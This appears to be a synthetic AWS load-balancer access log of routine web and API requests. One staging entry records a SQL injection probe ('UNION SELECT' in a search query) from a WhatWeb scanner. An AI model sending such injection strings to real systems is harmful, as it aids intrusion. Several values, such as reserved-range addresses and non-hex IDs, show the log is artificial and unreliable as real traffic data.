2024-11-01T00:45:23.572349Z prod-api-alb 226.106.62.29:49110 10.0.204.96:443 0.029895 0.242553 0.070578 302 302 966 10583 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c233-79ce0d7a96ae4c9daae2020f" "prod-api-alb.example.com" "-" 0 2024-11-01T00:45:23.572349Z "forward" "-" "-" "10.0.204.96:443" "302" "-" "-" -https 2024-11-01T00:45:24.197315Z prod-web-alb 226.144.71.24:38930 10.0.53.42:443 0.095225 0.408099 0.068416 200 200 175 2091 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c234-747e67bc234c456cbd6c4f88" "-" "-" 9 2024-11-01T00:45:24.197315Z "forward" "-" "-" "10.0.53.42:443" "200" "-" "-" -http 2024-11-01T00:45:25.878696Z staging-alb 53.110.102.183:62762 9.197.109.68:8080 0.115658 0.075864 0.148641 302 302 954 13601 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c235-161ac3b2ab9e4994ad237b53" "staging-alb.example.com" "-" 6 2024-11-01T00:45:25.878696Z "forward" "-" "-" "9.197.109.68:8080" "302" "-" "-" -https 2024-11-01T00:45:26.049477Z prod-api-alb 219.5.143.107:52112 10.0.132.227:443 0.086142 0.177542 0.051205 200 200 496 3531 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c236-cf489be72e10497b990f1c4a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:45:26.049477Z "forward" "-" "-" "10.0.132.227:443" "200" "-" "-" -https 2024-11-01T00:45:27.608019Z prod-api-alb 179.87.61.254:64467 10.0.14.165:443 0.083494 0.124433 0.002642 200 200 78 12194 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c237-d1c0b68126934bc7b80c5bb8" "prod-api-alb.example.com" "-" 0 2024-11-01T00:45:27.608019Z "forward" "-" "-" "10.0.14.165:443" "200" "-" "-" -http 2024-11-01T00:45:28.634166Z staging-alb 230.194.218.5:23139 140.250.252.214:8080 0.034656 0.747959 0.061346 301 301 111 8234 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c238-00b800ef234b4001a1b90999" "staging-alb.example.com" "-" 0 2024-11-01T00:45:28.634166Z "forward" "-" "-" "140.250.252.214:8080" "301" "-" "-" -https 2024-11-01T00:45:30.621432Z staging-alb 28.106.116.68:23342 28.138.14.0:80 0.115575 0.561063 0.065459 301 301 346 13454 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c23a-792f3ee29e444dee972bb38d" "staging-alb.example.com" "-" 4 2024-11-01T00:45:30.621432Z "forward" "-" "-" "28.138.14.0:80" "301" "-" "-" -https 2024-11-01T00:45:31.938121Z prod-api-alb 89.252.219.200:39082 10.0.163.182:443 0.055820 0.398356 0.013488 301 301 658 3950 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c23b-fa7761a47d7d462ba31611a3" "prod-api-alb.example.com" "-" 2 2024-11-01T00:45:31.938121Z "forward" "-" "-" "10.0.163.182:443" "301" "-" "-" -https 2024-11-01T00:45:33.878463Z prod-api-alb 19.98.184.217:42003 10.0.156.147:443 0.034766 0.489232 0.012662 200 200 255 3713 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c23d-f3bd82eec2eb42db9fd91f6c" "prod-api-alb.example.com" "-" 7 2024-11-01T00:45:33.878463Z "forward" "-" "-" "10.0.156.147:443" "200" "-" "-" -https 2024-11-01T00:45:35.065569Z staging-alb 125.135.145.254:15616 40.129.45.181:8080 0.114088 0.411599 0.074927 200 200 308 1693 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c23f-c7e35bc3f7e9403e99f66dea" "staging-alb.example.com" "-" 10 2024-11-01T00:45:35.065569Z "forward" "-" "-" "40.129.45.181:8080" "200" "-" "-" -https 2024-11-01T00:45:35.704056Z staging-alb 153.117.204.103:21862 96.217.20.206:80 0.075185 0.412399 0.047638 302 302 687 4419 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c23f-88640431c3ef455c89829849" "staging-alb.example.com" "-" 4 2024-11-01T00:45:35.704056Z "forward" "-" "-" "96.217.20.206:80" "302" "-" "-" -https 2024-11-01T00:45:36.273018Z prod-web-alb 203.12.173.124:36307 10.0.228.43:443 0.057272 0.399221 0.000282 200 200 606 3004 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c240-57cc3d65681f403bb6123161" "prod-web-alb.example.com" "-" 5 2024-11-01T00:45:36.273018Z "forward" "-" "-" "10.0.228.43:443" "200" "-" "-" -https 2024-11-01T00:45:36.828904Z prod-web-alb 59.119.5.233:61877 10.0.108.165:443 0.004168 0.104824 0.076336 404 404 544 2950 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c240-261c0f88f21d417094615547" "-" "-" 9 2024-11-01T00:45:36.828904Z "forward" "-" "-" "10.0.108.165:443" "404" "-" "-" -http 2024-11-01T00:45:37.446832Z staging-alb 193.79.113.78:12470 193.248.196.173:8080 0.090721 0.005711 0.139188 200 200 199 12775 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c241-fa8a6718b92f48b1ba63f5dc" "staging-alb.example.com" "-" 5 2024-11-01T00:45:37.446832Z "forward" "-" "-" "193.248.196.173:8080" "200" "-" "-" -https 2024-11-01T00:45:38.620082Z staging-alb 8.152.59.54:62897 243.159.215.131:443 0.112111 0.536325 0.112939 200 200 479 5232 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c242-636c46110a5a416187ddd53e" "staging-alb.example.com" "-" 10 2024-11-01T00:45:38.620082Z "forward" "-" "-" "243.159.215.131:443" "200" "-" "-" -https 2024-11-01T00:45:40.174475Z staging-alb 234.138.15.191:50074 242.147.87.203:80 0.043575 0.726487 0.064032 200 200 234 7412 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c244-9fb5418b2e70401e99ff97a1" "staging-alb.example.com" "-" 9 2024-11-01T00:45:40.174475Z "forward" "-" "-" "242.147.87.203:80" "200" "-" "-" -https 2024-11-01T00:45:41.735138Z prod-api-alb 68.194.102.87:14554 10.0.39.112:443 0.012304 0.044337 0.027731 404 404 194 6332 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c245-e1eef6f7f8934aa89ae53531" "prod-api-alb.example.com" "-" 0 2024-11-01T00:45:41.735138Z "forward" "-" "-" "10.0.39.112:443" "404" "-" "-" -https 2024-11-01T00:45:42.452425Z prod-web-alb 110.69.13.158:41715 10.0.220.217:443 0.096551 0.086787 0.004907 200 200 993 4206 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c246-aa7072ad052f4905af824119" "prod-web-alb.example.com" "-" 2 2024-11-01T00:45:42.452425Z "forward" "-" "-" "10.0.220.217:443" "200" "-" "-" -https 2024-11-01T00:45:42.626086Z prod-api-alb 181.60.253.148:16456 10.0.133.55:443 0.089322 0.220369 0.068368 200 200 376 12326 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c246-1669fd157d4d4dfeb698d03b" "prod-api-alb.example.com" "-" 0 2024-11-01T00:45:42.626086Z "forward" "-" "-" "10.0.133.55:443" "200" "-" "-" -https 2024-11-01T00:45:42.785279Z prod-web-alb 140.253.1.49:63571 10.0.122.75:443 0.064155 0.058410 0.055210 302 302 469 1396 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c246-7be9b4ee0e8845de94c2fe09" "prod-web-alb.example.com" "-" 4 2024-11-01T00:45:42.785279Z "forward" "-" "-" "10.0.122.75:443" "302" "-" "-" -http 2024-11-01T00:45:44.775462Z staging-alb 69.58.222.83:41945 135.165.119.53:8080 0.071763 0.018884 0.019289 301 301 551 13595 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c248-519e9e6d6f3c4819819c4842" "staging-alb.example.com" "-" 2 2024-11-01T00:45:44.775462Z "forward" "-" "-" "135.165.119.53:8080" "301" "-" "-" -https 2024-11-01T00:45:46.403985Z prod-web-alb 253.111.229.78:23355 10.0.10.136:443 0.028887 0.176898 0.012165 200 200 659 1132 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c24a-1b0f4e0e1e344cf181ccbd80" "prod-web-alb.example.com" "-" 1 2024-11-01T00:45:46.403985Z "forward" "-" "-" "10.0.10.136:443" "200" "-" "-" -http 2024-11-01T00:45:47.118387Z staging-alb 185.181.183.244:62484 51.173.218.239:80 0.051935 0.055528 0.009887 500 500 810 4839 "GET /search?q=1' UNION SELECT HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c24b-16c8540686a54a2a88fb067e" "-" "-" 4 2024-11-01T00:45:47.118387Z "forward" "-" "-" "51.173.218.239:80" "500" "-" "-" -https 2024-11-01T00:45:47.307335Z prod-api-alb 9.229.180.95:16215 10.0.127.107:443 0.060309 0.394488 0.036637 302 302 876 2428 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c24b-0bf0760a39384bbfabf6b3d7" "prod-api-alb.example.com" "-" 2 2024-11-01T00:45:47.307335Z "forward" "-" "-" "10.0.127.107:443" "302" "-" "-" -https 2024-11-01T00:45:49.010615Z prod-web-alb 244.150.48.4:46764 10.0.102.124:443 0.093967 0.202403 0.075434 302 302 10 10282 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c24d-3eb58aa53bb84622bac643d4" "prod-web-alb.example.com" "-" 0 2024-11-01T00:45:49.010615Z "forward" "-" "-" "10.0.102.124:443" "302" "-" "-" -https 2024-11-01T00:45:50.680705Z prod-api-alb 6.137.235.6:15780 10.0.151.85:443 0.094698 0.158759 0.003196 404 404 170 3693 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c24e-8a144e39357c476db645ffb9" "prod-api-alb.example.com" "-" 9 2024-11-01T00:45:50.680705Z "forward" "-" "-" "10.0.151.85:443" "404" "-" "-" -https 2024-11-01T00:45:51.732566Z prod-web-alb 95.229.232.68:49100 10.0.180.143:443 0.062099 0.371237 0.025509 302 302 525 7926 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c24f-8466310d93584310844141b0" "prod-web-alb.example.com" "-" 9 2024-11-01T00:45:51.732566Z "forward" "-" "-" "10.0.180.143:443" "302" "-" "-" -https 2024-11-01T00:45:52.183425Z prod-web-alb 171.247.154.160:61137 10.0.95.183:443 0.023942 0.434835 0.085707 302 302 378 2995 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c250-ad1bf4b98c0b4187851025d5" "prod-web-alb.example.com" "-" 7 2024-11-01T00:45:52.183425Z "forward" "-" "-" "10.0.95.183:443" "302" "-" "-" -http 2024-11-01T00:45:53.949476Z staging-alb 125.171.20.217:11679 136.141.51.72:8080 0.040338 0.438771 0.076136 302 302 292 14375 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c251-5887a0ae160a46bd9f363d6d" "staging-alb.example.com" "-" 9 2024-11-01T00:45:53.949476Z "forward" "-" "-" "136.141.51.72:8080" "302" "-" "-" -https 2024-11-01T00:45:55.401679Z prod-web-alb 196.200.210.65:41141 10.0.7.212:443 0.019037 0.430040 0.036044 404 404 78 7848 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c253-e967def6ab7f4244879206a2" "prod-web-alb.example.com" "-" 5 2024-11-01T00:45:55.401679Z "forward" "-" "-" "10.0.7.212:443" "404" "-" "-" -https 2024-11-01T00:45:56.958669Z prod-api-alb 136.209.67.198:30912 10.0.100.89:443 0.057514 0.085016 0.065250 200 200 124 14196 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c254-fb1f1e5fc1764a298fdd2d1c" "-" "-" 5 2024-11-01T00:45:56.958669Z "forward" "-" "-" "10.0.100.89:443" "200" "-" "-" -https 2024-11-01T00:45:58.357852Z prod-api-alb 245.229.195.203:49908 10.0.42.179:443 0.088859 0.081598 0.077713 302 302 39 8584 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c256-60a6436ea7e14ff68137f7b6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:45:58.357852Z "forward" "-" "-" "10.0.42.179:443" "302" "-" "-" -https 2024-11-01T00:45:59.828295Z prod-api-alb 236.194.70.240:29577 10.0.212.175:443 0.041603 0.110882 0.067653 302 302 328 11410 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c257-cf83ca7f483f4c0ab90d59f6" "prod-api-alb.example.com" "-" 8 2024-11-01T00:45:59.828295Z "forward" "-" "-" "10.0.212.175:443" "302" "-" "-" -https 2024-11-01T00:46:01.506186Z prod-web-alb 26.199.2.206:23293 10.0.16.47:443 0.012659 0.224035 0.047824 302 302 172 12411 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c259-3bd09f81f44f40a0b2d8e2d8" "prod-web-alb.example.com" "-" 7 2024-11-01T00:46:01.506186Z "forward" "-" "-" "10.0.16.47:443" "302" "-" "-" -https 2024-11-01T00:46:02.344213Z prod-web-alb 215.189.163.214:49792 10.0.12.254:443 0.082754 0.162286 0.005906 200 200 125 4306 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c25a-759389c01f5c4c2aae38c1c3" "prod-web-alb.example.com" "-" 7 2024-11-01T00:46:02.344213Z "forward" "-" "-" "10.0.12.254:443" "200" "-" "-" -http 2024-11-01T00:46:02.544960Z staging-alb 176.96.175.252:28580 183.170.10.27:8080 0.132365 0.456653 0.068988 302 302 924 12482 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c25a-f414cea08e48474ba35c5170" "staging-alb.example.com" "-" 2 2024-11-01T00:46:02.544960Z "forward" "-" "-" "183.170.10.27:8080" "302" "-" "-" -http 2024-11-01T00:46:04.153990Z staging-alb 219.220.121.8:56580 41.204.204.80:443 0.022841 0.232038 0.032474 200 200 229 5003 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c25c-cdfa09f2d9f44d3cb8a43c6c" "staging-alb.example.com" "-" 0 2024-11-01T00:46:04.153990Z "forward" "-" "-" "41.204.204.80:443" "200" "-" "-" -https 2024-11-01T00:46:05.349404Z staging-alb 40.179.32.241:57525 245.148.209.116:443 0.132411 0.416748 0.038325 200 200 779 1489 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c25d-a75201589a944fd59f9ad0f4" "staging-alb.example.com" "-" 10 2024-11-01T00:46:05.349404Z "forward" "-" "-" "245.148.209.116:443" "200" "-" "-" -https 2024-11-01T00:46:07.198914Z prod-api-alb 58.84.156.180:63546 10.0.233.93:443 0.025837 0.113166 0.007035 404 404 769 8500 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c25f-93d2b34629a746108dfdfd57" "prod-api-alb.example.com" "-" 8 2024-11-01T00:46:07.198914Z "forward" "-" "-" "10.0.233.93:443" "404" "-" "-" -https 2024-11-01T00:46:08.566890Z staging-alb 59.147.144.175:15519 119.199.119.156:443 0.034724 0.540653 0.005884 301 301 110 1797 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c260-d1cc8645a3d1450089a3652e" "staging-alb.example.com" "-" 0 2024-11-01T00:46:08.566890Z "forward" "-" "-" "119.199.119.156:443" "301" "-" "-" -https 2024-11-01T00:46:09.461399Z staging-alb 236.39.47.185:27546 171.54.130.124:443 0.058590 0.147033 0.067307 200 200 922 6781 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c261-fcf16de7be76463281bbe199" "staging-alb.example.com" "-" 6 2024-11-01T00:46:09.461399Z "forward" "-" "-" "171.54.130.124:443" "200" "-" "-" -https 2024-11-01T00:46:11.164572Z prod-api-alb 242.5.242.104:45538 10.0.134.161:443 0.008883 0.248617 0.021667 301 301 352 11079 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c263-5ed9e7db9daa4c87ba48762c" "prod-api-alb.example.com" "-" 7 2024-11-01T00:46:11.164572Z "forward" "-" "-" "10.0.134.161:443" "301" "-" "-" -https 2024-11-01T00:46:12.595611Z prod-web-alb 168.158.68.170:42851 10.0.141.53:443 0.009720 0.482816 0.049560 200 200 847 10103 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c264-1f05fb5626ab42f4979ade7a" "prod-web-alb.example.com" "-" 0 2024-11-01T00:46:12.595611Z "forward" "-" "-" "10.0.141.53:443" "200" "-" "-" -https 2024-11-01T00:46:13.133236Z staging-alb 92.54.243.22:31285 149.56.50.220:80 0.095430 0.165225 0.120345 200 200 487 225 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c265-8c44c9a9ee0440fe844a2d51" "staging-alb.example.com" "-" 0 2024-11-01T00:46:13.133236Z "forward" "-" "-" "149.56.50.220:80" "200" "-" "-" -https 2024-11-01T00:46:14.509854Z prod-web-alb 115.77.29.207:16143 10.0.14.82:443 0.076029 0.334495 0.028355 404 404 715 7315 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c266-d518cd3185d24461857269fa" "prod-web-alb.example.com" "-" 4 2024-11-01T00:46:14.509854Z "forward" "-" "-" "10.0.14.82:443" "404" "-" "-" -https 2024-11-01T00:46:15.779349Z prod-api-alb 167.132.221.13:32527 10.0.238.31:443 0.050869 0.227683 0.001020 200 200 234 5839 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c267-0b2cefba42704943b785315a" "prod-api-alb.example.com" "-" 3 2024-11-01T00:46:15.779349Z "forward" "-" "-" "10.0.238.31:443" "200" "-" "-" -https 2024-11-01T00:46:16.026165Z prod-api-alb 217.124.21.21:15069 10.0.248.144:443 0.016975 0.368585 0.090187 200 200 375 3056 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 